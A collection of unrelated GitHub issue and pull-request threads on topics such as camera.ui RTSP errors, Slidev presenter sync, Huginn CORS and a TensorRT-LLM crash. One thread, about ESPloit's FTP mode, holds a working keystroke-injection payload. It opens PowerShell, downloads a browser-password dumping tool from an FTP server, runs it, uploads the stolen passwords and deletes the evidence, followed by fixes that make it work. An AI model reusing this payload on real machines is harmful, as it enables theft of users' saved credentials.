Also, the "can find similar files in a diff" test in test/tests/diff.js was incorrectly passing before. I'm skipping it right now until we can figure out why it's not passing.
@orderedlist I know this will affect you and what you wrote so if you want to chime in on this feel free :)

Crap, I'll fix those falling tests when I get back home.

This is fine, though I do think we need to start pushing towards having both sync && async for some functions, similar to some of the core Node functionality. Overall though, I'm :+1:.

I agree with having async/sync options when we can. Anything that uses callbacks must be async or we'll deadlock. That's a different PR IMO. I'm going to go ahead and merge this in.


Derive breakpoint interval by comparing parents

We can compute the breakpoint interval for a recombinant much more quickly than rerunning the HMM by just comparing the sequences of the two parents. We are by definition just taking the interval where they are identical anyway.
This clears up a lot of annoying problems with HMM consistency etc, as we don't need to invoke any of that in order to get the actual interval for the current ARG.
We should store the interval on the metadata for the recombinant. We can then think about placing the breakpoint more intelligently later.

Yes, but in practise it hasn't turned out to be very useful. It's just too messy.

Not saying we can't use the HMM reruns for other stuff, but it's a pain for breakpoint intervals. Much simpler to do it this way, as it's completely clear what it means.


Update README.md

Update README.md adding inside the block producer section eosimpera, the Italian block producer

Sorry for the delayed merge


Fix single chunksize == 1 job wrapping

I special cased the instance of a single input command, but chunksize == 1 should also be handled without gnu parallel. Fix this.

Why the special cases? Parallel doesn't add that much overhead ;-)

Main issue is empty log files until completion since parallel buffers the stdout .
Could solve this with the line buffering options in parallel i guess.

If we want to avoid special casing then we should go the whole way I think.
If we default to "--line-buffer" then we get continuous output in all cases (good because log file progress is good), 1-1 output in single-command cases (perfect), and mixed-line-to-line output in parallel cases (bad)
Thoughts?

I'm not that interested in us providing real time log progress... It
doesn't work that way in all batch systems anyway, and it's easy enough
to do yourself if you need it by emitting to a separate log file, not
stdout/stderr.  It also seems complex to unwind multiple processes
outputs ourselves if we try for realtime output (--line-buffer, if I
understand, still seems like it would produce messy output, although
perhaps with an intelligent use of --tag/--tagstring this would be
doable?)

--line-buffer will indeed mix different outputs together
My reading of --tag/--tagstring is that it's not applicable for the application we're doing, but we could do some testing.
I guess not providing real-time progress makes some sense, since this is a cluster tool anyways.


unable to configure rtsp camera stream

I have just installed reolink cameras through a reolink NVR.  I have them up and running.  I am able to access their streams via VLC player.  I have installed camera-ui in my home bridge via my Synology nas.  on the configuration I have tried multiple stream inputs all of which fail.
the only one that I have found online via a YouTube video from a year ago has this prompt prior to the rtsp camera stream "-rtsp_transport tcp -i".  -- this one returns an error "unrecognized source"
I have tried just the rtsp camera stream directly after a "-" and error is "protocol not found did you mean file:rtsp...."
then I tried the "file:rtsp and the camera config is removed each time.
again I am able to stream each camera with a specific rtsp address in vlc player just can't get them to work in this camera UI.  any help would be appreciated.

Hello, I also have Reolink cameras running. I would like to try to help you. Can you send me your config?

I have exactly the same problem here, running homebridge on my Synology NAS trying to connect reolink cameras. I tried playing the camera streams with ffplay and the exact same input I used in camera.ui and it works. Camera.ui however will just say " Protocol not found ".
My Config looks like this:
(IPs, user and password changed)
"cameras": [
{
"name": "Cam1",
"motion": true,
"unbridge": true,
"hsv": true,
"prebuffering": false,
"prebufferLength": 4,
"videoConfig": {
"source": "-i rtp://admin:password@<IP_ADDRESS>:554/h264Preview_01_main",
"subSource": "-i rtp://admin:password@<IP_ADDRESS>:554/h264Preview_01_sub",
"maxWidth": 0,
"maxHeight": 0,
"maxFPS": 0,
"vcodec": "copy",
"acodec": "libfdk_aac",
"audio": false,
"stillImageSource": "-i rtp://admin:password@<IP_ADDRESS>:554/h264Preview_01_sub"
},
"videoanalysis": {
"active": false
},
"motionTimeout": 15,
"smtp": {
"email": "Cam1"
},
"mqtt": {},
"hksvConfig": {
"audio": true
}
},
{
"name": "Cam2",
"motion": true,
"unbridge": true,
"hsv": true,
"prebuffering": false,
"prebufferLength": 4,
"videoConfig": {
"source": "-i rtsp://admin:password@<IP_ADDRESS>:554/h264Preview_01_main",
"subSource": "-i rtsp://admin:password@<IP_ADDRESS>:554/h264Preview_01_sub",
"maxWidth": 0,
"maxHeight": 0,
"maxFPS": 0,
"vcodec": "copy",
"acodec": "libfdk_aac",
"audio": false,
"stillImageSource": "-i rtsp://admin:password@<IP_ADDRESS>:554/h264Preview_01_sub"
},
"videoanalysis": {
"active": false
},
"motionTimeout": 15,
"smtp": {
"email": "Cam2"
},
"mqtt": {}
}
]
}

Add me to the list.  Same issue.  "protocol not found" yet, the url works fine in VLC

Same here. Works in VLC but not in camera.ui

same issue here

Same here. I've been using VLC and IP camera apps (iOS/macOS/Windows) for years with no issues

🎉 A new version of camera.ui
A new version of camera.ui is currently under active development. An initial alpha/beta release and previews are coming soon. Stay tuned for exciting updates: https://github.com/seydx/camera.ui/issues/448 .
This version will no longer be developed / fixed. The new version contains many novelties and fixes (most important is for HKSV recording).


is it possible to play mpd accounts ?

please add to open mpd desh file format.

Sfvip Player already plays .mpd files since it's build upon mpv.
But you're right Sfvip Player doesn't handle mpd accounts.
Please bear in mind Sfvip All only wraps the existing Sfvip Player to add features.
But there are limits to what Sfvip All can do because Sfvip Player is not open source.
If you need this extra features, please raise an issue in  Sfvip Player github repo


Benchmark tasks for Matching TradeExecutor and OrderProcessor

closes #2101

Since
https://github.com/rubykube/peatio/pull/2106/commits/dd7f763e876d6279b0075125245ac624dccc1a5e
report looks like:
---
config:
  currencies: usd,eur
  traders: 25
  threads: 50
  report_path: reports
  orders:
    injector: dummy
    number: 1200
    markets: usdeur
    min_volume: 0.1
    max_volume: 1.0
    min_price: 0.5
    max_price: 2.0
submit_publish:
  started_at: '2019-03-12T17:14:03.786892+02:00'
  finished_at: '2019-03-12T17:14:03.786892+02:00'
  operations: 1200
  ops: 5247.645119252736
matching:
  started_at: '2019-03-12T17:14:03.786892+02:00'
  finished_at: '2019-03-12T17:14:08.649498+02:00'
  operations: 1200
  ops:<PHONE_NUMBER>8631675
trade_execution:
  started_at: '2019-03-12T17:14:03.786892+02:00'
  finished_at: '2019-03-12T17:14:43.508181+02:00'
  operations: 986
  ops: 24.822960805728133
cancel_publish:
  started_at: '2019-03-12T17:14:43.523195+02:00'
  finished_at: '2019-03-12T17:14:43.584340+02:00'
  operations: 212
  ops: 3467.168206721727
order_processing:
  started_at: '2019-03-12T17:14:43.523195+02:00'
  finished_at: '2019-03-12T17:14:53.866818+02:00'
  operations: 212
  ops: 20.49571992328027


Presenter sync in GitHub pages

Is it possible to use remote while I use /presenter in the GitHub page and n given number of people can follow along in the default GitHub page.
Would be one hell of a feature... 😆

For sure that woul be great, but in fact I don't think that remote synchronization is possible without using a server.
Event technologies like WebRTC needs to send first some "handshake", from one client to another one, before establishing a peer to peer connetion.
In development the synchronization uses vite-plugin-vue-server-ref that make it possible using your local vite server.
But once it is builded and deployed there is no server anymore...
One solution would be to have a fallback to some WebSocket or SSE server for example for server refs.
But who will host (and pay for) that server ?
In free plan, Sass solutions are limited, so having some kind of central slidev server won't work.
So maybe the only real solution is, for every slidev user, that want remote synchronization in build mode, to deploy their own server.
I created a server I use for one addon I created that adds a poll component to slidev.

the addon: https://github.com/Smile-SA/slidev-component-poll
the server: https://github.com/Smile-SA/slidev-poll-server

It uses WebSocket or Server Sent Events to synchronize the clients, and it works when the slides are statically builded and deployed.
Maybe we can do something that is close to that, in a more generic way (it would be great if it can handle any kind of server ref for example).
Something that can be easily deployable and pluggable.
In that case using a WebRTC can be interesting because the server will only manage the "handshake" between the clients and the rest of the logic will be managed on the client side.
Now I think there is still some questions:

where can someone easily deploy a node server at no cost (AWS lambda maybe ?)
how do we package the server so it is easily usable ?
how do we manage security ?

@tonai
I just provide an initial draft of an addon for that purpose. It is based on a fork version of your poll component and poll server.
If it could be useful to someone else, do not hesitate.

[x] slide navigation and click synchro
[x] optional cursor synchronization
[ ] TODO: drawing synchronization.

https://github.com/barais/slidev-addon-ws-syncho
https://github.com/barais/slidev-slide-synchro-server
It works with github page and the ws server behind nxing proxy and lets encrypt certificate.
Do not hesitate to criticize/comment.

For info I created a PR to centralize the handling of state synchronization here: https://github.com/slidevjs/slidev/pull/1854
Like @barais I created a WS/SSE server and a sync addon that uses that new, not yet published, feature.
I also wanted to keep the ability to choose between WS and SSE as you might have troobles to use one or the other in some context.


fix: return type when using empty records

fix #465

#466  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @RebeccaStevens and the rest of your teammates on  Graphite

Merge activity

May 20, 2:57 AM EDT: @RebeccaStevens merged this pull request with Graphite.


Issue with webhook agent

Currently we are using docker build for Huginn installation.
Issue is with webhook agent, we are trying to post a call but before post browser is trying to verify using Options request, I set this Options request using verb and also using access-control-allow-methods but still we are seeing 404 error for this.
Request Method: OPTIONS
Status Code: 404
Any help is appreciated.

Web requests made by Huginn do not need to obey the CORS rules which are required by web browsers. You should be able to send the POST/PUT request directly. A 404 response suggests that there is something wrong with the URL you are requesting.

While it's certainly true that Huginn does not need to obey the CORS rules, by not supporting CORS, it opens up an attack vector for the APIs implemented by Huginn users.  The WebhookAgent is not aware of OPTIONS requests, so there isn't really an out of the box way that I can think of to support CORS at the moment.  Ideally, the WebhookAgent could be updated with a new key, say access_control_allow_origin and to respond to the OPTIONS based on that.  Or, to be even more robust, it could leverage rack-cors and hook into its functionality, allowing multiple origins.


[Feature]: RSS feed for the DevLog

While browsing through the Jetpack.io website I realised that there is a devlog with regular updates about the development of devbox. There is an option for subscribing to a newsletter, but I would prefer to consume this kind of content via RSS.
Is there an RDD Feed available for the devlog? Could be one be integrated in the website?

You can find feeds at:
Devlog: https://www.jetpack.io/blog/devlog/rss/
Blog: https://www.jetpack.io/blog/rss/

Thanks, I completely forgot to try with /rss in the URL.


[Dockerfile] Build memcached extension

Implements https://github.com/RSS-Bridge/rss-bridge/issues/1410
Used this docker-compose.yml for testing:
version: '3.7'
services:
  web:
    build: .
    ports:
      - "3000:80"
    volumes:
      - type: bind
        source: ./
        target: /app
    depends_on:
      - memcached
  memcached:
     image: sameersbn/memcached:1.5.6-2
     restart: always

And this config.ini.php
; <?php exit; ?> DO NOT REMOVE THIS LINE

[cache]
type = "memcached"

[MemcachedCache]
host = "memcached"
port = 11211

ping @itsTurnip for approving

Filed https://github.com/RSS-Bridge/rss-bridge/pull/1473 to make this slightly leaner.


Responding with type: "message" to task/fetchactivity result in empty task module

Response for /invoke API with activity type "task/fetch"

https://docs.microsoft.com/en-us/microsoftteams/platform/task-modules-and-cards/task-modules/task-modules-bots?tabs=nodejs

Hello @shubham-betterworks - Hope you are preparing and returning proper Task Module response like below:

Please refer below sample code:

Hi @ChetanSharma-msft, yes I'm returning a proper TaskModule response
To reproduce the issue you can just change the return statement in handleTeamsTaskModuleFetch to return TaskModuleResponseFactory.toTaskModuleResponse('invoke message'); and try invoking the TaskModule from the bot. It will result in an empty Task Module.

Hello @shubham-betterworks - Task modules permit you to create modal pop-up experiences in your Teams application.
In the pop-up, you can:

Run your own custom HTML or JavaScript code.
Show an -based widget such as a YouTube or Microsoft Stream video.
Display an Adaptive Card.

We don't have any direct way to send just a test message.
Reference doc:
https://docs.microsoft.com/en-us/microsoftteams/platform/task-modules-and-cards/what-are-task-modules

@ChetanSharma-msft just to clarify we can send {type: "message", value: "String message"} kind of TaskModule response to task/submit but not to task/fetch activity type?

@shubham-betterworks - Yes correct, it is mentioned in the documentation: https://docs.microsoft.com/en-us/microsoftteams/platform/task-modules-and-cards/task-modules/task-modules-bots?tabs=nodejs#the-flexibility-of-tasksubmit

@shubham-betterworks - Please let us know if you have any other query or shall we close this issue ?


Update TypeScript to the latest stable version

TypeScript has been updated to the latest stable version. Additionally, the version range has been updated to use ~ because TypeScript does not follow SemVer (they make breaking changes as minor updates).
The configuration has been updated to match the module template, except that two options (exactOptionalPropertyTypes and noUncheckedIndexedAccess) have been omitted temporarily to reduce the number of changes required for this update. They can be added in later PRs.
Just as in the module template, a separate tsconfig file has been created to distinguish build settings from settings used to compile unit tests.
The one configuration difference is the compilation target. The target is ES2019 here because this is a developer tool, so we don't need to stick to ES2017 for browser compatibility.

Issue created here to track the additional TypeScript options: https://github.com/MetaMask/auto-changelog/issues/127


0xC0000409 error during initializing LLM object with TRT checkpoint

System Info
CPU architecture: x86_64
Host memory size: 32 Gb
GPU: Nvidia GeForce RTX 2060
GPU memory size: 12 Gb
TensorRT-LLM tag: 0.10.0
CUDA version: 12.5
Python version: 3.10
Who can help?
No response
Information

[ ] The official example scripts
[X] My own modified scripts

Tasks

[ ] An officially supported task in the examples folder (such as GLUE/SQuAD, ...)
[X] My own task or dataset (give details below)

Reproduction
I execute following code:

from tensorrt_llm import LLM, ModelConfig
from tensorrt_llm.models.modeling_utils import QuantConfig
MODEL_DIR = "path to TRT checkpoint"
quant_config = QuantConfig()
model_config = ModelConfig(model_dir=MODEL_DIR,
quant_config=quant_config)
llm = LLM(config=model_config)

Expected behavior
Model initializes successfully
actual behavior
Error:

C:\Users\1\AppData\Local\Programs\Python\Python310\python.exe C:/Users/1/Projects/ragllm/rag_llm/parsers/llama_to_tensorrt3.py
[TensorRT-LLM] TensorRT-LLM version: 0.10.0
Loading Model: [1/3]	Load TRT checkpoints to memory
Time: 0.461s
Loading Model: [2/3]	Build TRT-LLM engine
Process finished with exit code -1073740791 (0xC0000409)

additional notes

@ivodopyanov Could you use the latest version of TrtLLM?


Topic/get vs team build timeline

PR Summary
Wrote everything, please do it!
PR Checklist

[x] Write Help
[x] Write Unit Test
[x] Update VSTeam.psd1
[x] Update CHANGELOG.md

/AzurePipelines run

/azp help

AB#16 unit test fails


Feature dashboard pull secret

Description
Please explain the changes you've made
Issue reference
#2475
We strive to have all PR being opened based on an issue, where the problem or feature have been discussed prior to implementation.
Please reference the issue this PR will close: #2475
Checklist
Please make sure you've  completed the relevant tasks for this PR, out of the following list:

[ ] Code compiles correctly
[ ] Created/updated tests
[ ] Unit tests passing
[ ] End-to-end tests passing
[ ] Extended the documentation / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Specification has been updated / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Provided sample for the feature / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]

@ProfessorMc thanks for this PR. See @artursouza's comment.

@ProfessorMc please see requested changes. once fixed, we can go ahead and merge this PR.


Problem Scenario FTP mode

I have 2 scenarios whose target is not connected to internet and connected internet. ESPloit joins the target network and as an access point. FTP mode I enable
Although FTP ESPloit is in PASV mode, I assume my scenario should work.
The attacker scenario does not have an online FTP  so I uploaded it to the FTP folder in ESPloit. which is a small tool with exe extension to retrieve the cookie password (NIRSOFT tool with size - + 360 kb),
Payload based on example in ESPloitV2, with process order:

Downloading files from FTP
Perform executions and results stored in the data file
Upload the data file to FTP
Delete the file in the target
Exit

In the scenario I'm having some problems

Very slow download and upload process from FTP (+ - 1-2 minutes).
Sometimes fail / stop in PowerShell and idle console without any activity, even if the file is small.
If Download is successful then Upload will fail and sometimes succeed but data file is corrupted.

I use 2 machines as target (Win 7sp1 ultimate 64bit and Win 7sp1 ultimate 32bit) all without AV and standard installation. And they all get the same result.
Is there a solution or my scenario an activity not recommended in ESPloit?
This is the payload I made

Rem:Offline Powershell download and execute file then upload
DefaultDelay:1000
Press:131+114
CustomDelay:200
PrintLine:powershell
CustomDelay:1000
Press:176
CustomDelay:1000
Rem:Download Tool from FTP Folder
PrintLine:$ftpURI =<EMAIL_ADDRESS>$webclient = New-Object -TypeName System.Net.WebClient; $ftpURI = New-Object -TypeName System.Uri -ArgumentList $ftpURI; $webclient.DownloadFile($ftpURI, [System.ENVIRONMENT]::CurrentDirectory + "\WebPass.exe"); Write-output  "Download file ... "
CustomDelay:3000
Rem:Execute Tool to get Webrowser Password
PrintLine:WebPass.exe /stext pass
CustomDelay:3000
Rem:Uploaded execution results
PrintLine:$ftpURI =<EMAIL_ADDRESS>$webclient = New-Object -TypeName System.Net.WebClient; $ftpURI = New-Object -TypeName System.Uri -ArgumentList $ftpURI; $webclient.UploadFile($ftpURI, [System.ENVIRONMENT]::CurrentDirectory + "\pass"); Write-output  "Upload file ... "
CustomDelay:2000
PrintLine:del WebPass.exe
PrintLine:del pass
PrintLine:exit

thank you and sorry if my english is a mess and for the stupidity i understand the performance of ESPloit but i want more advanced and very interested

Exfiltrated data file sometimes appears corrupted when viewed from the web browser when it is not, click the download button under list exfiltrated data and view it that way to verify if it is indeed corrupted.
Try adding a 5 second delay before the line to download or upload, theres a lot going on under the hood sometimes it is still busy from "typing".  Turn off anything not needed like ESPortal mode and be sure your running the latest firmware.

The issue is resolved

Reset to Default and install the latest firmware
Added a few seconds to download and upload the process.
My Wifi settings changed the channel. Because in my environment 90% use channel 6. I change to channel 1 and 12. everything works fine.

Thanks

Excellent


Support for CHIPS Partitioned cookies

Please add support for the recent addition of the "Partitioned" attribute.
https://developer.mozilla.org/en-US/docs/Web/Privacy/Privacy_sandbox/Partitioned_cookies

Thanks!
I think partitioned cookies are not yet in Safari and the specification may still be subject to change, so maybe it’s too early to include it here?

We need it already ;-)


singular matrices

Hi!
Thank you so much for making this toolset! Finding the method you seek already implemented, well written and well documented is a very joyful experience!
I get LinalgError on some of my datasets, because of singular matrices, have you considered adding a way to estimate the inverse of singular matrices, like a least squares estimation?

Hi, thanks for the feedback, it is much appreciated !
It is a bit hard to help you without the full traceback. I assume that it comes from the driven gain estimation, in _estimate_driven_gain in base_dar.py. One way to solve this error is too add a tiny regularization in the diagonal of the matrix to be inverted (see parameter regul).
As this parameter is not easily accessible, one way to use this in a Comodulogram is to create your own class and override the function with another parameter:
class MyDAR(DAR):
    def _estimate_driven_gain(self, regul=0.):
        return super(MyDAR, self)._estimate_driven_gain(regul=0.01)


Translations with spaces fail

For example t('Test ') (fails) and t('Test') (works).

Not completely sure if this is a bug or if it's bad practice to put spaces before and after translations.
If it's the latter we could possibly fix it with an eslint rule (https://github.com/connectedcars/react-i18n/issues/24) or throw errors if it's not a production build.


Rust client generation

Similar to the ts typescript package, we should generate rust clients from IDL.

Done by #51.

Done by #51.


Make API configuration fields Mandatory

Referring from PR #925
Currently the fields to configure an API in APINF are not mandatory by default.
So if Users leave them empty or give incorrect data, they still gets saved.
However in the analytics because of the empty/incorrect data, proper visualization does not appear. This may confuse users.

Requirements:
Add "*" sign beside field names to show them as mandatory.
On clicking save with leaving empty fields, update should not be possible.
Use CSS alert text under empty fields instructing users to provide correct data.

This is not about API configuration but about Apinf setup. We need to first understand what are minimum required fields to make it work

Fixing up the title.
@frenchbread: would you like to look for the minimum details for setting up APINF?

@nazarah I have added this to planning so that it would be included in the next sprint. So no need to assign it today. :)

@Nazarah This calls for separate PR and a list of minimum fields that are required for APINF to work correctly. Let's take this issue to the next sprint.

@frenchbread will you take this task?

@nnn What's the status of the task?